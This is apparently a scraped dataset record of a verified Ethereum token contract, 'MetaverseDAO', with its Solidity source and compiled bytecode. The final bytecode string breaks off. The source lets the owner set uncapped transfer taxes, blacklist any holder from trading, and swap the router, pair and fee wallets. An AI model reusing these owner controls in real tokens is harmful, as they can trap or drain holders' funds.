6101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461124057600080fd5b80600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008282111561129357600080fd5b818303905092915050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415806113a15750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156113a05750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16145b5b806114525750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156114515750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16145b5b806114f75750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161480156114f65750600554600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411155b5b611569576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f63616e6e6f74206265207a65726f20616464726573730000000000000000000081525060200191505060405180910390fd5b5050565b600081830190508281101561158157600080fd5b9291505056fea265627a7a7231582097094140c23315f4ead78684f8d138ac768d1bed909f39ff8e4ae1248b8ac16464736f6c63430005110032
{"success": true, "error": null, "results": {}}
1,065
0x7994835806e6eeb729d6690a5f62f58fcfa8c97a
/** *Submitted for verification at Etherscan.io on 2022-04-18 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.10; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library Address{ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _setOwner(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IFactory{ function createPair(address tokenA, address tokenB) external returns (address pair); } interface IRouter { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external; } contract MetaverseDAO is Context, IERC20, Ownable { using Address for address payable; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; mapping (address => bool) public isBot; address[] private _excluded; bool public swapEnabled; bool public tradingActive; bool private swapping; IRouter public router; address public pair; uint8 private constant _decimals = 9; uint256 private constant MAX = ~uint256(0); uint256 private _tTotal = 1_000_000_000 * 10**_decimals; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 public swapTokensAtAmount = 500_000 * 10**_decimals; uint256 public maxTxAmount = 30_000_000 * 10**_decimals; uint256 public maxWalletBalance= 40_000_000 * 10**_decimals; address public marketingWallet = 0xbC87B9952eC6AC6F07532aaFaf45E20F0cE43cb0 ; address public lpRecipient = 0xbC87B9952eC6AC6F07532aaFaf45E20F0cE43cb0; string private constant _name = "MetaverseDAO"; string private constant _symbol = "MDAO"; struct Taxes { uint256 rfi; uint256 marketing; uint256 liquidity; } Taxes public taxes = Taxes(0,10,2); struct TotFeesPaidStruct{ uint256 rfi; uint256 marketing; uint256 liquidity; } TotFeesPaidStruct public totFeesPaid; struct valuesFromGetValues{ uint256 rAmount; uint256 rTransferAmount; uint256 rRfi; uint256 rMarketing; uint256 rLiquidity; uint256 tTransferAmount; uint256 tRfi; uint256 tMarketing; uint256 tLiquidity; } modifier lockTheSwap { swapping = true; _; swapping = false; } constructor() { IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); address _pair = IFactory(_router.factory()) .createPair(address(this), _router.WETH()); router = _router; pair = _pair; excludeFromReward(pair); _rOwned[owner()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[marketingWallet]=true; emit Transfer(address(0), owner(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } function isExcludedFromReward(address account) public view returns (bool) { return _isExcluded[account]; } function reflectionFromToken(uint256 tAmount, bool deductTransferRfi) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferRfi) { valuesFromGetValues memory s = _getValues(tAmount, false); return s.rAmount; } else { valuesFromGetValues memory s = _getValues(tAmount, true); return s.rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount/currentRate; } function excludeFromReward(address account) public onlyOwner() { require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeInReward(address account) external onlyOwner() { require(_isExcluded[account], "Account is not excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function excludeFromFee(address account) public onlyOwner { _isExcludedFromFee[account] = true; } function includeInFee(address account) public onlyOwner { _isExcludedFromFee[account] = false; } function isExcludedFromFee(address account) public view returns(bool) { return _isExcludedFromFee[account]; } function setTaxes(uint256 _rfi, uint256 _marketing, uint256 _liquidity) public onlyOwner { taxes = Taxes(_rfi, _marketing, _liquidity); } function _reflectRfi(uint256 rRfi, uint256 tRfi) private { _rTotal -=rRfi; totFeesPaid.rfi +=tRfi; } function _takeLiquidity(uint256 rLiquidity, uint256 tLiquidity) private { totFeesPaid.liquidity +=tLiquidity; if(_isExcluded[address(this)]) { _tOwned[address(this)]+=tLiquidity; } _rOwned[address(this)] +=rLiquidity; } function _takeMarketing(uint256 rMarketing, uint256 tMarketing) private { totFeesPaid.marketing +=tMarketing; if(_isExcluded[address(this)]) { _tOwned[address(this)]+=tMarketing; } _rOwned[address(this)] +=rMarketing; } function _getValues(uint256 tAmount, bool takeFee) private view returns (valuesFromGetValues memory to_return) { to_return = _getTValues(tAmount, takeFee); (to_return.rAmount, to_return.rTransferAmount, to_return.rRfi, to_return.rMarketing, to_return.rLiquidity) = _getRValues(to_return, tAmount, takeFee, _getRate()); return to_return; } function _getTValues(uint256 tAmount, bool takeFee) private view returns (valuesFromGetValues memory s) { if(!takeFee) { s.tTransferAmount = tAmount; return s; } s.tRfi = tAmount*taxes.rfi/100; s.tMarketing = tAmount*taxes.marketing/100; s.tLiquidity = tAmount*taxes.liquidity/100; s.tTransferAmount = tAmount-s.tRfi-s.tMarketing-s.tLiquidity; return s; } function _getRValues(valuesFromGetValues memory s, uint256 tAmount, bool takeFee, uint256 currentRate) private pure returns (uint256 rAmount, uint256 rTransferAmount, uint256 rRfi, uint256 rMarketing, uint256 rLiquidity) { rAmount = tAmount*currentRate; if(!takeFee) { return(rAmount, rAmount, 0,0,0); } rRfi = s.tRfi*currentRate; rMarketing = s.tMarketing*currentRate; rLiquidity = s.tLiquidity*currentRate; rTransferAmount = rAmount-rRfi-rMarketing-rLiquidity; return (rAmount, rTransferAmount, rRfi,rMarketing,rLiquidity); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply/tSupply; } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply-_rOwned[_excluded[i]]; tSupply = tSupply-_tOwned[_excluded[i]]; } if (rSupply < _rTotal/_tTotal) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private returns(bool){ require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(amount <= balanceOf(from),"You are trying to transfer more than your balance"); require(!isBot[from] && !isBot[to], "You are blacklisted"); if(!_isExcludedFromFee[from] && !_isExcludedFromFee[to]){ require(amount <= maxTxAmount ,"Amount is exceeding maxTxAmount"); if(to != pair) require(balanceOf(to) + amount <= maxWalletBalance, "Recipient is eceeding maxWalletBalance"); } bool canSwap = balanceOf(address(this)) >= swapTokensAtAmount; if(!swapping && swapEnabled && canSwap && from != pair && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]){ swapAndLiquify(swapTokensAtAmount); } _tokenTransfer(from, to, amount, !(_isExcludedFromFee[from] || _isExcludedFromFee[to])); return true; } //this method is responsible for taking all fee, if takeFee is true function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee) private { valuesFromGetValues memory s = _getValues(tAmount, takeFee); if (_isExcluded[sender] ) { //from excluded _tOwned[sender] = _tOwned[sender]-tAmount; } if (_isExcluded[recipient]) { //to excluded _tOwned[recipient] = _tOwned[recipient]+s.tTransferAmount; } _rOwned[sender] = _rOwned[sender]-s.rAmount; _rOwned[recipient] = _rOwned[recipient]+s.rTransferAmount; if(s.rRfi > 0 || s.tRfi > 0) _reflectRfi(s.rRfi, s.tRfi); if(s.rLiquidity > 0 || s.tLiquidity > 0) _takeLiquidity(s.rLiquidity,s.tLiquidity); if(s.rMarketing > 0 || s.tMarketing > 0) _takeMarketing(s.rMarketing, s.tMarketing); emit Transfer(sender, recipient, s.tTransferAmount); if(s.tLiquidity + s.tMarketing > 0) emit Transfer(sender, address(this), s.tLiquidity + s.tMarketing); } function swapAndLiquify(uint256 tokens) private lockTheSwap{ // Split the contract balance into halves uint256 denominator = (taxes.liquidity + taxes.marketing ) * 2; uint256 tokensToAddLiquidityWith = tokens * taxes.liquidity / denominator; uint256 toSwap = tokens - tokensToAddLiquidityWith; uint256 initialBalance = address(this).balance; swapTokensForBNB(toSwap); uint256 deltaBalance = address(this).balance - initialBalance; uint256 unitBalance= deltaBalance / (denominator - taxes.liquidity); uint256 bnbToAddLiquidityWith = unitBalance * taxes.liquidity; if(bnbToAddLiquidityWith > 0){ // Add liquidity to pancake addLiquidity(tokensToAddLiquidityWith, bnbToAddLiquidityWith); } uint256 marketingAmt = unitBalance * 2 * taxes.marketing; if(marketingAmt > 0){ payable(marketingWallet).sendValue(marketingAmt); } } function addLiquidity(uint256 tokenAmount, uint256 bnbAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(router), tokenAmount); // add the liquidity router.addLiquidityETH{value: bnbAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable lpRecipient, block.timestamp ); } function swapTokensForBNB(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = router.WETH(); _approve(address(this), address(router), tokenAmount); // make the swap router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function startTrading() external onlyOwner{ require(!tradingActive, "Trading already active"); tradingActive = true; swapEnabled = true; } function updateMaxWalletBalance(uint256 amount) external onlyOwner{ maxWalletBalance = amount * 10**_decimals; } function updateMarketingWallet(address _marketingWallet) external onlyOwner{ marketingWallet = _marketingWallet; } function updateLpRecipient(address newAddress) external onlyOwner{ lpRecipient = newAddress; } function updateMaxTxAmount(uint256 amount) external onlyOwner{ maxTxAmount = amount * 10**_decimals; } function updateSwapTokensAtAmount(uint256 amount) external onlyOwner{ swapTokensAtAmount = amount * 10**_decimals; } function updateSwapEnabled(bool _enabled) external onlyOwner{ swapEnabled = _enabled; } function updateRouterAndPair(address newRouter, address newPair) external onlyOwner{ router = IRouter(newRouter); pair = newPair; } function setIsBot(address user, bool state) external onlyOwner{ isBot[user] = state; } //Use this in case BNB are sent to the contract by mistake function rescueBNB(uint256 weiAmount) external onlyOwner{ require(address(this).balance >= weiAmount, "insufficient BNB balance"); payable(msg.sender).transfer(weiAmount); } // Function to allow admin to claim *other* BEP20 tokens sent to this contract (by mistake) function rescueAnyBEP20Tokens(address _tokenAddr, address _to, uint _amount) public onlyOwner { IERC20(_tokenAddr).transfer(_to, _amount); } receive() external payable{ } }
0x6080604052600436106102815760003560e01c8063715018a61161014f578063a9059cbb116100c1578063dd62ed3e1161007a578063dd62ed3e1461080e578063e2f4560514610854578063e9dae5ed1461086a578063ea2f0b371461088a578063f2fde38b146108aa578063f887ea40146108ca57600080fd5b8063a9059cbb14610759578063aacebbe314610779578063bbc0c74214610799578063bbde77c1146107b8578063cdb3858f146107ce578063d257b34f146107ee57600080fd5b80638da5cb5b116101135780638da5cb5b1461068f578063924de9b7146106ad57806395d89b41146106cd5780639ba5e4d5146106fa578063a457c2d714610719578063a8aa1b311461073957600080fd5b8063715018a6146105d1578063728f8eea146105e657806375f0a8741461062057806388f82020146106405780638c0b5e221461067957600080fd5b80633bbac579116101f357806347c23092116101ac57806347c23092146104fe57806352390c021461051e5780635342acb41461053e5780636256d181146105775780636ddd17131461059757806370a08231146105b157600080fd5b80633bbac5791461041657806340b28c2f14610446578063437823ec14610466578063441b1d3014610486578063452e68dd146104a65780634549b039146104de57600080fd5b806323b872dd1161024557806323b872dd14610365578063293230b8146103855780632d8381191461039a578063313ce567146103ba5780633685d419146103d657806339509351146103f657600080fd5b806303c0f5d41461028d57806306fdde03146102af578063095ea7b3146102f657806318160ddd14610326578063188b1bf11461034557600080fd5b3661028857005b600080fd5b34801561029957600080fd5b506102ad6102a8366004612610565b6108f1565b005b3480156102bb57600080fd5b5060408051808201909152600c81526b4d657461766572736544414f60a01b60208201525b6040516102ed9190612649565b60405180910390f35b34801561030257600080fd5b5061031661031136600461269e565b61094f565b60405190151581526020016102ed565b34801561033257600080fd5b50600a545b6040519081526020016102ed565b34801561035157600080fd5b506102ad6103603660046126ca565b610966565b34801561037157600080fd5b506103166103803660046126e3565b6109ac565b34801561039157600080fd5b506102ad610a5e565b3480156103a657600080fd5b506103376103b53660046126ca565b610aea565b3480156103c657600080fd5b50604051600981526020016102ed565b3480156103e257600080fd5b506102ad6103f1366004612724565b610b6e565b34801561040257600080fd5b5061031661041136600461269e565b610d24565b34801561042257600080fd5b50610316610431366004612724565b60066020526000908152604090205460ff1681565b34801561045257600080fd5b506102ad610461366004612741565b610d5b565b34801561047257600080fd5b506102ad610481366004612724565b610dc1565b34801561049257600080fd5b506102ad6104a13660046126ca565b610e0f565b3480156104b257600080fd5b506010546104c6906001600160a01b031681565b6040516001600160a01b0390911681526020016102ed565b3480156104ea57600080fd5b506103376104f936600461276f565b610eb6565b34801561050a57600080fd5b506102ad6105193660046126e3565b610f40565b34801561052a57600080fd5b506102ad610539366004612724565b610fe3565b34801561054a57600080fd5b50610316610559366004612724565b6001600160a01b031660009081526004602052604090205460ff1690565b34801561058357600080fd5b506102ad6105923660046126ca565b611136565b3480156105a357600080fd5b506008546103169060ff1681565b3480156105bd57600080fd5b506103376105cc366004612724565b61117c565b3480156105dd57600080fd5b506102ad6111db565b3480156105f257600080fd5b5060115460125460135461060592919083565b604080519384526020840192909252908201526060016102ed565b34801561062c57600080fd5b50600f546104c6906001600160a01b031681565b34801561064c57600080fd5b5061031661065b366004612724565b6001600160a01b031660009081526005602052604090205460ff1690565b34801561068557600080fd5b50610337600d5481565b34801561069b57600080fd5b506000546001600160a01b03166104c6565b3480156106b957600080fd5b506102ad6106c8366004612794565b611211565b3480156106d957600080fd5b506040805180820190915260048152634d44414f60e01b60208201526102e0565b34801561070657600080fd5b5060145460155460165461060592919083565b34801561072557600080fd5b5061031661073436600461269e565b61124e565b34801561074557600080fd5b506009546104c6906001600160a01b031681565b34801561076557600080fd5b5061031661077436600461269e565b6112e9565b34801561078557600080fd5b506102ad610794366004612724565b6112f6565b3480156107a557600080fd5b5060085461031690610100900460ff1681565b3480156107c457600080fd5b50610337600e5481565b3480156107da57600080fd5b506102ad6107e9366004612724565b611342565b3480156107fa57600080fd5b506102ad6108093660046126ca565b61138e565b34801561081a57600080fd5b50610337610829366004612741565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561086057600080fd5b50610337600c5481565b34801561087657600080fd5b506102ad6108853660046127b1565b6113d4565b34801561089657600080fd5b506102ad6108a5366004612724565b611424565b3480156108b657600080fd5b506102ad6108c5366004612724565b61146f565b3480156108d657600080fd5b506008546104c690630100000090046001600160a01b031681565b6000546001600160a01b031633146109245760405162461bcd60e51b815260040161091b906127dd565b60405180910390fd5b6001600160a01b03919091166000908152600660205260409020805460ff1916911515919091179055565b600061095c33848461150a565b5060015b92915050565b6000546001600160a01b031633146109905760405162461bcd60e51b815260040161091b906127dd565b61099c6009600a61290c565b6109a6908261291b565b600e5550565b60006109b984848461162e565b506001600160a01b038416600090815260036020908152604080832033845290915290205482811015610a3f5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b606482015260840161091b565b610a538533610a4e868561293a565b61150a565b506001949350505050565b6000546001600160a01b03163314610a885760405162461bcd60e51b815260040161091b906127dd565b600854610100900460ff1615610ad95760405162461bcd60e51b815260206004820152601660248201527554726164696e6720616c72656164792061637469766560501b604482015260640161091b565b6008805461ffff1916610101179055565b6000600b54821115610b515760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161091b565b6000610b5b611a6a565b9050610b678184612951565b9392505050565b6000546001600160a01b03163314610b985760405162461bcd60e51b815260040161091b906127dd565b6001600160a01b03811660009081526005602052604090205460ff16610c005760405162461bcd60e51b815260206004820152601760248201527f4163636f756e74206973206e6f74206578636c75646564000000000000000000604482015260640161091b565b60005b600754811015610d2057816001600160a01b031660078281548110610c2a57610c2a612973565b6000918252602090912001546001600160a01b031603610d0e5760078054610c549060019061293a565b81548110610c6457610c64612973565b600091825260209091200154600780546001600160a01b039092169183908110610c9057610c90612973565b600091825260208083209190910180546001600160a01b0319166001600160a01b039485161790559184168152600282526040808220829055600590925220805460ff191690556007805480610ce857610ce8612989565b600082815260209020810160001990810180546001600160a01b03191690550190555050565b80610d188161299f565b915050610c03565b5050565b3360008181526003602090815260408083206001600160a01b0387168452909152812054909161095c918590610a4e9086906129b8565b6000546001600160a01b03163314610d855760405162461bcd60e51b815260040161091b906127dd565b600880546301000000600160b81b03191663010000006001600160a01b0394851602179055600980546001600160a01b03191691909216179055565b6000546001600160a01b03163314610deb5760405162461bcd60e51b815260040161091b906127dd565b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b6000546001600160a01b03163314610e395760405162461bcd60e51b815260040161091b906127dd565b80471015610e895760405162461bcd60e51b815260206004820152601860248201527f696e73756666696369656e7420424e422062616c616e63650000000000000000604482015260640161091b565b604051339082156108fc029083906000818181858888f19350505050158015610d20573d6000803e3d6000fd5b6000600a54831115610f0a5760405162461bcd60e51b815260206004820152601f60248201527f416d6f756e74206d757374206265206c657373207468616e20737570706c7900604482015260640161091b565b81610f26576000610f1c846000611a8d565b5191506109609050565b6000610f33846001611a8d565b6020015191506109609050565b6000546001600160a01b03163314610f6a5760405162461bcd60e51b815260040161091b906127dd565b60405163a9059cbb60e01b81526001600160a01b0383811660048301526024820183905284169063a9059cbb906044016020604051808303816000875af1158015610fb9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fdd91906129d0565b50505050565b6000546001600160a01b0316331461100d5760405162461bcd60e51b815260040161091b906127dd565b6001600160a01b03811660009081526005602052604090205460ff16156110765760405162461bcd60e51b815260206004820152601b60248201527f4163636f756e7420697320616c7265616479206578636c756465640000000000604482015260640161091b565b6001600160a01b038116600090815260016020526040902054156110d0576001600160a01b0381166000908152600160205260409020546110b690610aea565b6001600160a01b0382166000908152600260205260409020555b6001600160a01b03166000818152600560205260408120805460ff191660019081179091556007805491820181559091527fa66cc928b5edb82af9bd49922954155ab7b0942694bea4ce44661d9a8736c6880180546001600160a01b0319169091179055565b6000546001600160a01b031633146111605760405162461bcd60e51b815260040161091b906127dd565b61116c6009600a61290c565b611176908261291b565b600d5550565b6001600160a01b03811660009081526005602052604081205460ff16156111b957506001600160a01b031660009081526002602052604090205490565b6001600160a01b03821660009081526001602052604090205461096090610aea565b6000546001600160a01b031633146112055760405162461bcd60e51b815260040161091b906127dd565b61120f6000611ad0565b565b6000546001600160a01b0316331461123b5760405162461bcd60e51b815260040161091b906127dd565b6008805460ff1916911515919091179055565b3360009081526003602090815260408083206001600160a01b0386168452909152812054828110156112d05760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b606482015260840161091b565b6112df3385610a4e868561293a565b5060019392505050565b60006112df33848461162e565b6000546001600160a01b031633146113205760405162461bcd60e51b815260040161091b906127dd565b600f80546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b0316331461136c5760405162461bcd60e51b815260040161091b906127dd565b601080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146113b85760405162461bcd60e51b815260040161091b906127dd565b6113c46009600a61290c565b6113ce908261291b565b600c5550565b6000546001600160a01b031633146113fe5760405162461bcd60e51b815260040161091b906127dd565b604080516060810182528481526020810184905201819052601192909255601255601355565b6000546001600160a01b0316331461144e5760405162461bcd60e51b815260040161091b906127dd565b6001600160a01b03166000908152600460205260409020805460ff19169055565b6000546001600160a01b031633146114995760405162461bcd60e51b815260040161091b906127dd565b6001600160a01b0381166114fe5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161091b565b61150781611ad0565b50565b6001600160a01b03831661156c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161091b565b6001600160a01b0382166115cd5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161091b565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006001600160a01b0384166116945760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161091b565b6001600160a01b0383166116f65760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161091b565b600082116117585760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161091b565b6117618461117c565b8211156117ca5760405162461bcd60e51b815260206004820152603160248201527f596f752061726520747279696e6720746f207472616e73666572206d6f7265206044820152707468616e20796f75722062616c616e636560781b606482015260840161091b565b6001600160a01b03841660009081526006602052604090205460ff1615801561180c57506001600160a01b03831660009081526006602052604090205460ff16155b61184e5760405162461bcd60e51b8152602060048201526013602482015272165bdd48185c9948189b1858dadb1a5cdd1959606a1b604482015260640161091b565b6001600160a01b03841660009081526004602052604090205460ff1615801561189057506001600160a01b03831660009081526004602052604090205460ff16155b1561197057600d548211156118e75760405162461bcd60e51b815260206004820152601f60248201527f416d6f756e7420697320657863656564696e67206d61785478416d6f756e7400604482015260640161091b565b6009546001600160a01b0384811691161461197057600e54826119098561117c565b61191391906129b8565b11156119705760405162461bcd60e51b815260206004820152602660248201527f526563697069656e74206973206563656564696e67206d617857616c6c657442604482015265616c616e636560d01b606482015260840161091b565b6000600c5461197e3061117c565b600854911115915062010000900460ff1615801561199e575060085460ff165b80156119a75750805b80156119c157506009546001600160a01b03868116911614155b80156119e657506001600160a01b03851660009081526004602052604090205460ff16155b8015611a0b57506001600160a01b03841660009081526004602052604090205460ff16155b15611a1b57611a1b600c54611b20565b6001600160a01b038516600090815260046020526040902054610a539086908690869060ff1680611a6457506001600160a01b03881660009081526004602052604090205460ff165b15611c26565b6000806000611a77611ecb565b9092509050611a868183612951565b9250505090565b611a956125a1565b611a9f838361204e565b9050611ab4818484611aaf611a6a565b6120fa565b6080860152606085015260408401526020830152815292915050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6008805462ff0000191662010000179055601254601354600091611b43916129b8565b611b4e90600261291b565b905060008160116002015484611b64919061291b565b611b6e9190612951565b90506000611b7c828561293a565b905047611b8882612187565b6000611b94824761293a565b601354909150600090611ba7908761293a565b611bb19083612951565b601354909150600090611bc4908361291b565b90508015611bd657611bd68682612308565b601254600090611be784600261291b565b611bf1919061291b565b90508015611c0f57600f54611c0f906001600160a01b0316826123c3565b50506008805462ff00001916905550505050505050565b6000611c328383611a8d565b6001600160a01b03861660009081526005602052604090205490915060ff1615611c94576001600160a01b038516600090815260026020526040902054611c7a90849061293a565b6001600160a01b0386166000908152600260205260409020555b6001600160a01b03841660009081526005602052604090205460ff1615611cf75760a08101516001600160a01b038516600090815260026020526040902054611cdd91906129b8565b6001600160a01b0385166000908152600260205260409020555b80516001600160a01b038616600090815260016020526040902054611d1c919061293a565b6001600160a01b0380871660009081526001602090815260408083209490945584015191871681529190912054611d5391906129b8565b6001600160a01b0385166000908152600160205260409081902091909155810151151580611d85575060008160c00151115b15611d9c57611d9c81604001518260c001516124e1565b600081608001511180611db457506000816101000151115b15611dcc57611dcc8160800151826101000151612516565b600081606001511180611de3575060008160e00151115b15611dfa57611dfa81606001518260e0015161258c565b836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360a00151604051611e4391815260200190565b60405180910390a360008160e00151826101000151611e6291906129b8565b1115611ec457306001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360e00151846101000151611eb291906129b8565b60405190815260200160405180910390a35b5050505050565b600b54600a546000918291825b60075481101561201d57826001600060078481548110611efa57611efa612973565b60009182526020808320909101546001600160a01b031683528201929092526040019020541180611f655750816002600060078481548110611f3e57611f3e612973565b60009182526020808320909101546001600160a01b03168352820192909252604001902054115b15611f7b57600b54600a54945094505050509091565b6001600060078381548110611f9257611f92612973565b60009182526020808320909101546001600160a01b03168352820192909252604001902054611fc1908461293a565b92506002600060078381548110611fda57611fda612973565b60009182526020808320909101546001600160a01b03168352820192909252604001902054612009908361293a565b9150806120158161299f565b915050611ed8565b50600a54600b5461202e9190612951565b82101561204557600b54600a549350935050509091565b90939092509050565b6120566125a1565b816120675760a08101839052610960565b601154606490612077908561291b565b6120819190612951565b60c08201526012546064906120969085612